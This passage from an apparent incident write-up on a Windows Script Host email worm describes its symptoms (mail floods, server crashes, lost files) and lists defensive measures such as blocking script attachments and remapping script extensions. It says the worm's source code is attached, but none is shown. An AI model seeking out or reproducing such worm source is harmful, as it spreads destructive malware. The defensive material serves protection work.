When your mail server receives this attack, you will begin receiving multiple identical mails at an exponential rate. If you are a remote administrator of a box, you will notice that the server becomes very slow and eventually crashes. If you are a file system administrator, you will notice that your incremental or differential backups have dramatically changed in size. End users will notify you that some of their files are no longer available and will be requesting restores.

How to Protect Against It:

We have a large number of options here.

1. Uninstall Windows Scripting host from all user machines. However, this may affect the operation of login scripts and tools such as Microsoft Systems Management Server.
2. Associate script engine extensions with notepad.exe. This will require a script to run on every machine. You associate WSH, JS, JSE, VBS, and VBE with Notepad.exe. Then when they are opened, it just shows you the source code in Notepad and does not execute. Again, this may break login scripts and tools such as SMS. You can still execute any of these files from running wscript or cscript from the command line with the filename as a switch.
3. Use your firewall, anti-virus or mail server software to block or quarantine all attachments with executable extensions.
4. You can prevent access to all executable extensions by installing the Microsoft Outlook patch at http://www.officeupdate.com. However, there is no uninstall for this patch and there is no control of the list of extensions blocked.
5. You can also provide some control over the damage caused by this worm by properly configuring user permissions on your NT systems. (Windows 9x has no such feature).

If you do not have a business need to pass executables by mail, I fully recommend the Microsoft patch. However, if you do then option 3 and/or option 2 become much more favorable.

Source Code/Pseudo Code:

The full source code was provided in the above description of how the worm works. Attached to this mail, is the source code, properly wrapped, for both Variant A and Variant C. I could not locate the source code for any other variants.

Additional Information:

For this particular worm the best sites are listed in the Variants section. For general Windows Script Host information, I recommend:

Learning VBScript by Paul Lomax, O'Reilly & Associates, 1997

Windows Script Host; Programmer's Reference by Dino Esposito, Wrox Press Ltd., 1999.

http://msdn.microsoft.com/scripting/